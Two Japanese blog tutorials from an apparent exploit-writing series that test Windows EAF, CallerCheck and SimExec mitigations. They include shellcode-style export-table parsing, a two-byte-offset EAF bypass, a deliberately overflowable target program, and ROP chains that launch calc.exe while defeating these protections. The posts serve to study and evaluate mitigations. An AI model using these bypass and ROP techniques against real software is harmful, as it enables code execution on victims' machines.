エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~Export Address Filtering~

今回も敗北回、もしくは注意喚起。

忙しい人向けExport Address Filteringまとめ

  • 任意コード実行が出来た後のAPIアドレス特定を阻止する
  • 方法は特定.dllのexport関数一覧への不正アクセスを検知してクラッシュする
  • 対象はkernel32.dllとkernelbase.dllとntdll.dll
    • 悪用される率が高いからと思われる
  • 不正アクセスとは正規にロードされたバイナリのコード領域以外からの読み取り
    • 実行可能属性ついたヒープやスタックからだと不正扱い
  • 回避は楽勝すぎて防御は無いも同然

前置き

クラッカーの攻撃にも段階があるわけですが、今回はヒープやスタックに配置したコードを実行できたが、APIを叩く準備はできていない段階への対策技術です。

なぜこの段階が重要かというと、脆弱性をついての攻撃では往々にしてリンク処理の恩恵を受けられないため、各種APIのアドレスがわからずただの計算しかできないタイミングというのが高確率で生まれるからです。

そこで攻撃者はAPIアドレス特定作業を行うわけですが、仮にそれを全て阻止できたならばクラッシュさせる程度の被害しか出すことが出来ず、被害の最小化を図れるのでは?という考え方ですね。

そういった考えに基づき、APIアドレス特定で定石の1つであるExport Address Tableを読む処理を対象に無効化を試みたのがExport Address Filtering(以降EAF)です。

とはいえアプローチには無理があったようで……?

Exploit1: WinExecのアドレス取得

※ここからはサンプルを交えて解説していきます( Download )

今回は侵入自体は成功した後の防御なので、想定する状況は少々複雑で

  • 任意コード実行に成功している
    • ヒープかスタック上で実行されている
  • ロード済みの.dllの一覧とアドレスも取得できている
    • それ以外のアドレスは不明
    • .dllのバージョンも不明
  • 結果各APIのアドレスは不明

この状況から攻撃にもっていきます、本記事では電卓(calc.exe)の起動を目標としましょう。

簡便化のため、実際にスタック領域にコードを置くのではなく、普通にコード領域に実装するがメモリアクセスだけスタック領域に置いたコードを通すようにします。

なので見た目的にはただの一般アプリとなります。

やることは単純で、普段ローダーがリンク時に行うアドレス解決と同様の手法でWinExec関数のアドレスを入手し”calc.exe”を引数に渡して実行する、これだけ。

ちなみに.dllのアドレス取得の流れは本記事では解説しません。

知りたい人は Process Environment Block で調べてみると良いでしょう。

実際に試してみよう

サンプルの中のNoGuard.exeを実行してみると電卓が起動します。

といってもこれだけだと何が何やらだと思うのでコードの方も見ていきましょう。

std::map<std::string, unsigned int> ParseEAT(HMODULE module) {
   const unsigned char* const baseAddr = reinterpret_cast<unsigned char*>(module == NULL ? ::GetModuleHandleW(NULL) : module);
   const IMAGE_DOS_HEADER& mz = *reinterpret_cast<const IMAGE_DOS_HEADER*>(baseAddr);
   const IMAGE_NT_HEADERS32& pe = *reinterpret_cast<const IMAGE_NT_HEADERS32*>(baseAddr + readDWORD(&mz.e_lfanew));
   const IMAGE_EXPORT_DIRECTORY& dir = *reinterpret_cast<const IMAGE_EXPORT_DIRECTORY*>(
      baseAddr
      + readDWORD(&pe.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
   const unsigned int * const funcs = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&dir.AddressOfFunctions));
   const unsigned int * const names = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&dir.AddressOfNames));
   const unsigned short * const ordinals = reinterpret_cast<const unsigned short *>(baseAddr + readDWORD(&dir.AddressOfNameOrdinals));
   std::map<unsigned int, std::string> ordinalNameMap;
   for (unsigned int index = 0; index < readDWORD(&dir.NumberOfNames); index++) {
      const unsigned int ordinal = readWORD(&ordinals[index]);
      ordinalNameMap[ordinal] = readString(reinterpret_cast<const char *>(baseAddr + readDWORD(&names[index])));
   }
   std::map<std::string, unsigned int> result;
   for (unsigned int index = 0; index < readDWORD(&dir.NumberOfFunctions); index++) {
      const unsigned int func = reinterpret_cast<unsigned int>(baseAddr) + readDWORD(&funcs[index]);
      if (!ordinalNameMap.contains(index)) {
         continue;
      }
      result[ordinalNameMap[index]] = func;
   }
   return result;
}

int main() {
   const auto WinExec = reinterpret_cast<UINT (__stdcall *)(LPCSTR, UINT)>(ParseEAT(::GetModuleHandleA("kernel32.dll"))["WinExec"]);
   WinExec("calc.exe", SW_SHOW);
   return 0;
}

kernel32.dllに備わるExport Address TableをパースしてWinExecのアドレスを取得して実行しているだけです。

パース自体難しそうに見えるかもしれませんが、全てMSDNに定義が載っているので時間さえかければ誰でも書ける程度のものです。

一応スタック上から実行していることをエミュレートするために読み取りはread*関数を通してアクセスしています。
※read*はスタック上にコードを書いてそこを実行しています。

これで.dllのアドレスさえわかれば中のAPIを呼ぶことは難しくないのは伝わったかと思います。

Exploit1まとめ

  • GetProcAddressを通さなくてもExport Address Tableをパースすればアドレスはわかる
  • Export Address Tableへのアクセスやパースに他APIは必要ない
  • 通常はスタックからアクセスしても問題はない

次はこれにEAFで対抗します。

EAFで防御

EAFはExploit ProtectionというWindows10に備わったセキュリティ機能群の一つです。

Windows10以前ではEMETというセキュリティツールによって提供されていました(現在はサポート終了)

EAFとは?

一部の.dllのExport Address Tableへのアクセスを制限する機能です。

対象は以下の通り。

  • kernel32.dll
    • AddressOfFunctionsへのアクセスを禁止
  • kernelbase.dll
    • AddressOfFunctionsへのアクセスを禁止
  • ntdll.dll
    • DataDirectoryのVirtualAddressへのアクセスを禁止

※AddressOfFunctionsなどは実際に上のコード片でも触れているので読み返してみるのも良いでしょう。

メモリーをアクセス禁止にし、アクセス時に上がる例外をキャッチしてあれこれする形で実装されています。

具体的には、該当メモリにPAGE_GUARD属性を付与してアクセスを禁止。
アクセス時に発生した例外をキャッチし不正なアクセスならばアプリをクラッシュ。
正当なら一瞬PAGE_GUARDを解除してシングルステップ実行で読み取らせ再度PAGE_GUARDを付与。
正当か不正かはコードの配置されたメモリが正当にリンクされたコード領域上かを見て判断しています。

EMETに最初実装された際はデバッグレジスタという該当メモリにアクセスしたこと自体をトリガーとする技術が使われていましたが、4か所しか設定できない、競合することが多いなど批判が多かったためか変更されたようです。
(噂レベルですが、IEと競合して解決できなかったからとも?)

EAF有効化方法

EAFは手動でExploit Protectionから有効にする必要があります。

Windowsキー>Exploit Protectionと入力>プログラム設定>プログラムを追加してカスタマイズ>ファイルパス

上記で対象.exeを追加しEAFを有効にすることで試すことが出来ます。

実際に試してみよう

Exploit1の.exeを対象にしてEAFを有効にして実行してみましょう。

電卓が起動せずクラッシュしたら成功です。

防がれた原理としては、65行目のアクセスがEAFの判定対象となり、スタックからのアクセスであるため不正とみなされたわけです。

      + readDWORD(&pe.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
   const unsigned int * const funcs = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&dir.AddressOfFunctions));
   const unsigned int * const names = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&dir.AddressOfNames));

EAFで防御まとめ

  • EAFはExport Address Tableへのアクセスを制限する
  • スタックからだと単純に読むのは無理
  • EAFは設定アプリのExploit Protectionから有効化

さてここまではEAFも有用そうに見えますが……?

Exploit2: EAF回避

実はEAFには致命的欠陥があり簡単に回避できてしまいます。

EAFはアクセス範囲ではなくアクセスの先頭アドレスだけを見ている上に、完全一致で弾くべきかどうかを見ています。

なので少し読み取りアドレスを前後させてやるだけで簡単に回避できます。

実際に試してみよう

サンプルのBypassEAF.exeを前回同様の手順でEAF保護したうえで起動してみましょう。

今回は問題なく電卓が起動してしまったはずです。

なぜこうなったのか

差分はスタックからの読み取り関数に若干の修正を入れただけです。

unsigned int readDWORD(const void * const addr) {
   unsigned char code[] = {
      0x3E, 0x8B, 0x44, 0x24, 0x04, // MOV EAX, DWORD PTR DS:[ESP+4]
      0x8B, 0x00,                   // MOV EAX, DWORD PTR DS:[EAX]
      0xC2, 0x04, 0x00              // RETN 4
   };
   DWORD oldProtect;
   ::VirtualProtect(code, sizeof(code), PAGE_EXECUTE_READWRITE, &oldProtect);
   const unsigned int result1 = reinterpret_cast<unsigned int (__stdcall *)(const unsigned int)>(&code)(reinterpret_cast<unsigned int>(addr) - 2);
   const unsigned int result2 = reinterpret_cast<unsigned int (__stdcall *)(const unsigned int)>(&code)(reinterpret_cast<unsigned int>(addr) + 2);
   ::VirtualProtect(code, sizeof(code), oldProtect, &oldProtect);
   return (result1 >> 16) | (result2 << 16);
}

わかりやすく簡略化すると

unsigned int * ptr = addr;
*ptr;

から

unsigned int * ptr1 = addr - 2;
unsigned int * ptr2 = addr + 2;
(*ptr1 >> 16) | (*ptr2 << 16); // ptr1の上位2byteとptr2の下位2byteをくっつける

に読み方を変えただけです。

これらは意味的には完全に等価であり、後者が若干遅いという以外に違いがありません。

またスタック上に書くのが難しい/実行が難しい/なんらかの技術で検出できる、などの制約も皆無と言ってよく、事実上ほぼ0コストで実現できてしまいます。

回避コストがほぼ0であるため、原理がわかれば事実上無防御とほぼ変わりがない状態と言えるでしょう。

EAF回避まとめ

  • EAFは読み取りアクセスを軽く前後にずらすだけで回避できる
  • ずらすのはとても簡単

ちなみにこの致命的さ具合は脆弱性なのでは?とMSに報告を送ってみましたが

「修正する気はないので公開したければ好きにするといいよ(意訳」

とのことで、MS自体もうEAFを切り捨てているも同然のようです。

その他回避法色々

アドレスずらしただけで回避できた時点で相当ですが、他にもいろいろと回避方法が存在するのでほんのり触れておきます。

ROPで回避

ROPにより正規.dllのコード領域からメモリ読み込み命令することが可能です。

これを用いてAddressOfFunctionsなどを読んでやれば回避できます。

マルチスレッド

PAGE_GUARDを解く際にもスレッドは中断されないので、他のスレッドが正規アクセスをしPAGE_GUARDが解除された瞬間に読み取りを指示すれば問題なく読むことが出来ます。

VirtualProtect

PAGE_GUARDを付与しているのが要であるためVirtualProtectAPIなどを利用してPAGE_GUARDを解除できれば問題なく読むことが出来ます。

総評

本記事ではさらっと流しましたがEAFはROPによる回避が出来た時点で事実上死んだ技術です。

ROPも多少手間とはいえ完全な回避策であるため、ROPの対策が為されない限り不意打ち防御としてしか意味がないためです。

そして現状のWindowsではROPに対する対策はROPを使われる前に止める以上のものがありません。

だからこそアドレスずらしという更に安易な回避法が見つかっても、そちらに対処することなく放置する選択を取っているのでしょう。

EAFに動作不良リスクを負ってまで採用する価値はありません。

終わりに

ネガキャン回が続いていますが、セキュリティ技術というものは基本的にリスクが高い技術なので、突破されるなどして有用性を喪失した技術はしっかりと見分けて除外する必要があります。

その点で言うとEAFは間違いなく有用性を喪失しているため、万が一にも採用はお勧めしません。

私の書いている記事群がそういった見極めの良い材料となっていることを願います。

ではまたいつの日か。

エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~CallerCheckとSimExec~

敗北回です。

忙しい人向けまとめ

  • Return-oriented Programmingとは引数も戻り先アドレスもスタックで管理しているのを利用する任意コード実行攻撃である
  • CallerCheckとSimExecはそれを検出して弾くためのEMET/Exploit Protectionの機能
  • CallerCheckはcallで飛んできたかを調べretなどで来たなら弾く
  • SimExecは20命令分までCallerCheckを繰り返す
  • ただしどちらも仕組みがバレれば対策は容易
  • Return-oriented Programming対策は今もまだ決着していない

前置き

バッファオーバーフローなどの脆弱性があってもそれだけでは任意コード実行には繋がりません。

ただメモリを書き換えるだけではなく、制御を奪い処理を変えてやる必要があります。

そういった任意コード実行につなげる技術の中でも、一際強力なものの1つにReturn-oriented Programming(以降ROP)があります。

CallerCheckもSimExecもこのROPを封じるために生まれ、力及ばず衰退したEMET/Exploit Protectionの機能です。

今回はROPとは何かを実物を交えて解説し、そこからCallerCheckやSimExecの対策の内容、およびROPがどのようにしてそれらを攻略していったかを解説していきます。

※本記事はx86アセンブリの基礎知識を必要とします。

Return-oriented Programmingとはなにか

※ここからはサンプルを交えて解説していきます( Download )

攻撃対象アプリとして以下を用意しました(ASLR/BufferSecurityCheck無効、DEP有効)
サンプルの1フォルダにもNoGuard/target.cppおよびtarget.exeとして入っています。

#include <cstdio>
#include <cstring>

static char filename[256];

int main(const int argc, const char * const * const argv) {
   std::strcpy(filename, argv[0]);

   unsigned int size;
   char name[64];
   FILE *const fp = std::fopen("data.bin", "rb");
   std::fread(&size, sizeof(size), 1, fp);
   std::fread(name, 1, size, fp);
   std::fclose(fp);
   std::printf("name: %s\n", name);
   return 0;
}

ハイライトしている箇所を見るとバッファオーバーフローが発生しています。

スタックのアドレスは以下の通り(コンパイル環境により異なります)

アドレス例中身
0x0019FEE8name[64]
0x0019FF28なにか
0x0019FF2Creturnアドレス
0x0019FF30argc
0x0019FF34argv/size(再利用)

sizeを72にしてreturnアドレスの部分を上書きしてやれば任意のアドレスを実行できそうです。

しかし任意のアドレスが実行できたとして、どうすれば任意の処理を行わせることが出来るのでしょうか?

そこで登場するのがROPです。

ROPとは要するに既存のコードを利用してスタック上でプログラミングする技術のことです。

ROPの大きな特徴としてDEPが有効であっても問題なく機能するというものがあります。

これは実行されるのはあくまでスタックが指している先でありスタック上は読み取りアクセスしかされないことに起因しています。

自由度も高く、目的となる処理を含むイメージ(今回はntdll.dll)の存在するアドレスさえわかれば大抵の処理は実装出来ます。

実際に試してみよう

NoGuard.exeを実行しdata.binが出力されたのを確認したあとtarget.exeを実行してみてください。

おそらくは電卓が起動したかと思います。

なぜこうなったのか

攻撃時のスタックは以下の通り

アドレス例中身ROPの内容備考
0x0019FEE8name[64]適当に0で埋める 
0x0019FF28なにか適当に0で埋める 
0x0019FF2Creturnアドレスpop ecx; ret;のアドレス 
0x0019FF30argcfilenameのアドレス 
0x0019FF34argv/size(再利用)mov eax, ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  0x636C6163“calc”
  mob DS:[eax], ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  filenameのアドレス + 4 
  mov eax, ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  0x6578652E“.exe”
  mov DS:[eax], ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  filenameのアドレス + 8 
  mov eax, ecx; ret;のアドレス 
  pop ecx; ret;のアドレス 
  0x00000000“\0”
  mov DS:[eax], ecx; ret;のアドレス 
  WinExecのアドレス 
  ExitProcessのアドレス 
  filenameのアドレス 
  SW_SHOW(0x05) 
  0x00000000 

このコードは要するに以下を実現するためのコードです。

::WinExec("calc.exe", SW_SHOW);
::ExitProcess(0);

NoGuard.exeの動作に必要な情報は以下の通りです。

returnアドレスまでの距離68
適当に書き換え可能なアドレス(今回はfilename0x41C2D0
ntdll.dllのベースアドレス0x77080000
ntdll.dllの中身

では順に解説していきましょう。

「pop ecx; ret;のアドレス」というのはそのままpop ecx; ret;と命令が並んでいるコード領域のアドレスのことです。

DEPを回避する必要があるので.exeか.dllのコード領域内から見つけなければいけませんが、条件はそれだけなので関数の途中は当然のこと、場合により4byteの数値定数が偶然命令と同一になっている場合でも利用できます。

実際に以下を実行する場合を考えると

0x0019FF2Creturnアドレスpop ecx; ret;のアドレス
0x0019FF30argcfilenameのアドレス
0x0019FF34argv/size(再利用)mov eax, ecx; ret;のアドレス
  • pop ecxのアドレスに移動する
  • pop ecxが実行されecxレジスタにfilenameのアドレスが代入される
  • retで次のmov eax, ecx; ret;に移動する

となります。

このように何か+ret命令のセットを次々実行していき任意の処理を実行するわけです。

ちなみにntdll.dllのベースアドレスなどが必要なのは、これらのコードの探索をntdll.dllの中から行っているためです。

逆に言えば他の領域から見つけることが出来るのであればそちらでも何も問題はありません。

以降を疑似コードで表現すると以下の通り。

unsigned int eax;
unsigned int ecx;
ecx = filename;
eax = ecx;
ecx = 0x636C6163; // "calc"
*reinterpret_cast<unsigned int *>(eax) = ecx;
ecx = filename + 4;
eax = ecx;
ecx = 0x6578652E; // ".exe"
*reinterpret_cast<unsigned int *>(eax) = ecx;
ecx = filename + 8;
eax = ecx;
ecx = 0x00000000; // "\0"
*reinterpret_cast<unsigned int *>(eax) = ecx;
WinExec(filename, 5/* SW_SHOW */);
ExitProcess(0);

※直にeaxにfilenameを代入するコードはWindows7のntdll.dllからは見つからなかったため、一度ecxを経由するなど手間をかけています。

Return-oriented Programmingまとめ

  • ROPはバッファオーバーフローなどから任意コード実行につなげる技術
  • スタック上だけでプログラミングできる
  • 何か+retの命令を見つけてきて継ぎ接ぎする形で実現
  • DEPは回避できる

このようにして任意コード実行を行うのがROP、次はこれにCallerCheckで対策を行います。

CallerCheck

一般的なアプリであれば関数は基本的にcall命令で呼びます。

なので戻り先アドレスの1つ前を見ればよっぽどのことが無い限りcall命令が見つかります。

逆にROPはretで移っていくためそのような性質を持ちません。

CallerCheckはその点に着目した技術で、戻り先アドレスの1つ前の命令が正しくcallであることをチェックし、そうでないならクラッシュします。

実際に試してみよう

CallerCheckは手動でExploit Protectionから有効にする必要があります。

Windowsキー>Exploit Protectionと入力>プログラム設定>プログラムを追加してカスタマイズ>ファイルパス

ここで先ほどのtarget.exeを指定した上でCallerCheckを有効にしてから起動してみましょう。

無事電卓起動が阻止され強制終了するはずです。

なぜこうなったのか

CallerCheckは戻り先アドレスの一個前の命令が正しいcallでない場合はそこで強制終了する技術と書きました。

現実にはこのチェックをいつどこでやるかが問題となりますが、CallerCheckではROPで攻撃されやすい関数一覧を保持しており、それらの関数の頭部分でチェックするようにしています。

今回はWinExecの呼び出しでチェックがかかり、call命令ではなかったため実行前にクラッシュしたわけです。

対象関数

共通
ntdll.dll:
   LdrLoadDll
   NtAllocateVirtualMemory
   NtCreateProcess
   NtCreateProcessEx
   NtCreateSection
   NtCreateThreadEx
   NtCreateUserProcess
   NtProtectVirtualMemory
   NtWriteVirtualMemory
   RtlCreateHeap
   ZwAllocateVirtualMemory
   ZwCreateProcess
   ZwCreateProcessEx
   ZwCreateSection
   ZwCreateThreadEx
   ZwCreateUserProcess
   ZwProtectVirtualMemory
   ZwWriteVirtualMemory
kernel32.dll:
   CreateFileMappingA
   CreateFileMappingW
   CreateProcessA
   CreateProcessInternalA
   CreateProcessInternalW
   CreateProcessW
   CreateRemoteThread
   HeapCreate
   LoadLibraryA
   LoadLibraryExA
   LoadLibraryExW
   LoadLibraryW
   MapViewOfFile
   MapViewOfFileEx
   VirtualAlloc
   VirtualAllocEx
   VirtualProtect
   VirtualProtectEx
   WinExec
   WriteProcessMemory
kernelbase.dll:
   CreateFileMappingNumaW
   CreateFileMappingW
   CreateRemoteThreadEx
   HeapCreate
   LoadLibraryExA
   LoadLibraryExW
   MapViewOfFile
   MapViewOfFileEx
   VirtualAlloc
   VirtualAllocEx
   VirtualProtect
   VirtualProtectEx
   WriteProcessMemory
EMET5.52のみ
ntdll.dll:
   NtCreateFile
   NtMapViewOfSection
   NtUnmapViewOfSection
   RtlAddVectoredExceptionHandler
   ZwCreateFile
   ZwMapViewOfSection
   ZwUnmapViewOfSection
kernel32.dll:
   CreateFileA
   CreateFileW
kernelbase.dll:
   CreateFileW
Exploit Protectionのみ
ntdll.dll:
   LdrGetProcedureAddressForCaller
kernelbase.dll:
   MapViewOfFileFromApp

CallerCheckまとめ

  • CallerCheckは戻り先アドレスの直前の命令が正しいcallであるかを調べる
  • 対象関数は決まっている
  • 今回はWinExecが引っかかっている

次はCallerCheck回避を試みていきます。

ROPでCallerCheck回避

既に気づいている人も多いでしょうがCallerCheckはROPでcall命令を呼んでやれば回避できます。

具体的にはcall eax; ret;が見つかればいいわけで、実際に見つかります。

というわけでROPを書き換えるとこうなります。

~~(“calc.exe\0″の構築)~~
pop ecx; ret;のアドレス
WinExecのアドレス
mov eax, ecx; ret;のアドレス
call eax; ret;のアドレス
filenameのアドレス
SW_SHOW(0x05)
ExitProcessのアドレス
0x00000000

実際にやってみよう

BypassCallerCheck.exeで生成したdata.binをtarget.exeを実行してみましょう、無事(?)電卓が起動したはずです。

ROPでCallerCheck回避まとめ

  • 実際にcall命令を使えばCallerCheckは回避できる
  • ROPでcall命令を使うことは難しくはない

仕組みがバレれば回避も余裕な類に思えますね。

CallerCheckは他にもjmpでの呼び出しなども弾くのですが、これは一般的なプログラミングテクニックでも使用されるため問題なのではないかとの意見もあるようです。

次はSimExecによる更なる対策を行います。

SimExec

CallerCheckを回避するためにcall命令を呼びましたが、そのcall命令の呼び出し元は偽装できるでしょうか?またさらにその前は?

すぐ上で書いたようにcall一回呼ぶためにもretを伴うレジスタ操作を何度か行っており、それら全てをcall命令ごしに行うことはとても現実的ではありません。

そこで20命令分(※EMETは15命令)までret後を先読みし、その範囲内で見つけたret全てでCallerCheckを行おうという考えが生まれました、それがSimExecです。

実際にやってみよう

SimExecもCallerCheckと同様手動でExploit Protectionから有効にする必要があります。

target.exeを対象にSimExecを有効にして起動してみましょう。

無事電卓の起動に失敗したはずです。

なぜこうなったのか

CallerCheck対策は1度callを挟んでいるとは言え20命令の中でExitProcessの先頭へのretを含みます。

そこでCallerCheckと同様のチェックが行われ、call命令が見つからなかったためROPだと見破ることができています。

SimExecまとめ

  • SimExecとは20命令分シミュレートし、範囲内のret全てにCallerCheckする機能
  • call eax; ret;を使用したROPで回避するのは難しい

次はSimExec回避を試みていきます。

ROPでSimExec回避

前回call命令での対策は難しいと書きましたが、SimExecは 実際にcall命令で呼んだかを見ているのではなくret後に到達する20命令を見ているだけです。

つまりcallで呼んだあとのretのごとくcall直後の命令を指定してしまえばよく、今都合よくcall eax; ret;のアドレスがあるのでこのret部分に連続で20回retしてやれば回避できます。

というわけでROPを書き換えるとこうなります。

~WinExec呼び出しコード~
SW_SHOW(0x05)
call eax; ret;のret部分へのアドレス
call eax; ret;のret部分へのアドレス
~17命令省略~
call eax; ret;のret部分へのアドレス
ExitProcessのアドレス
0x00000000

※WinExecの呼び出しがcallのままなので厳密には20回retしてやる必要はありません。

実際にやってみよう

BypassSimExec.exeで同じようにdata.binを生成しtarget.exeを実行してみましょう、今回も無事(?)に電卓が起動したはずです。

ROPでSimExec回避まとめ

  • call命令実行後のふりしたret命令20回で回避できてしまう
  • 回避は別に難しくはない

こちらも仕組みがバレれば回避は余裕な類に思えますね。

一応バッファーオーバーフローの長さに制限があるパターンでは対策になりえますが、長さに負荷をかけたいならもっと別のアプローチの方が賢そうです。

ROP対策の是非

CallerCheckやSimExecはROP対策として導入されたものではありますが、現状ROP対策として有効に機能しているとはとても言えない状態です。

それどころか現在のWindowsのVC++のコンパイラオプションやOSのプロセス軽減策オプション(Exploit Protection)ではROPに対して必要十分な対策を行うことはできません。

最も有効なものはASLRによりアドレスを出来る限り秘匿すること。

次に有効なのがBufferSecurityCheckやSafeSEHなどの技術でそもそもROPを始めさせないことです。

あくまで自分に見えている範囲の話になりますが、日々新たなROP対策技術が開発されているとはいえ、今回のように詳細が分かれば対策は容易なものがほとんどであり、ROP対策はいたちごっこに近い状況だと感じています。

またロードされる全てのバイナリで有効にしなければ機能しないものも多く、OSやコンパイラの協力が壁となるのもその状況を加速させていると言えるでしょう。

あくまで現状ではですが、ROP対策にはROP狙い撃ち対策ではなく総合的なセキュリティーで対策するほうが賢いのかもしれません。

そのうえでCallerCheck/SimExecも有効にすべきかというと……

CallerCheck/SimExec速度比較

実はCallerCheck/SimExecには大きなデメリットが存在しています。

それは速度。

Windows10 1903でのVirtualProtectを10,000,000回実行した計測結果を載せておきます。

種別計測結果(単位ms)average(plain)を100%としたとき
plain117,146 99.68%
plain217,256 100.32%
CallerCheck120,541 119.42%
CallerCheck220,668 120.16%
SimExec123,420 136.15%
SimExec223,422 136.17%
CC+SE124,122 140.24%
CC+SE224,206 140.72%

次にWIndows7+EMETで同様の計測をした結果。

種別計測結果(単位ms)average(plain)を100%としたとき
plain19,32898.43%
plain29,625101.57%
CallerCheck147,875505.20%
CallerCheck246,953495.47%
SimExec153,593565.54%
SimExec254,171571.64%
CC+SE158,312615.33%
CC+SE257,828610.23%

Win7(というよりはおそらくはEMET)側は論外とも呼べる速度差、Win10側もボトルネックでの採用はためらわれる程度の速度差が出ています。

対象関数の数は多く、それらを内部的に使うAPIにも波及することを考えると範囲はかなり広くなると予想され、影響はそれなりに大きいと予想されます。

またExploit ProtectionではGetProcAddressも対象に入っているので気を付けてください。

※EMETではGetProcAddressは対象外。

このデメリットがある機能が前述程度の対策で回避されると考えると、私は費用対効果が割に合わないと感じました。

終わりに

今回はどちらかというとROP回でした。

CallerCheckとSimExecはMSからも動的有効化APIが何年も作りかけのまま放置されていたりと不遇な扱いで、おそらくは内部的にも似た評価なのだと思われます。

実際に有用かや有効にするべきかの判断は読者の皆様方にゆだねます。

ではまたいつの日か。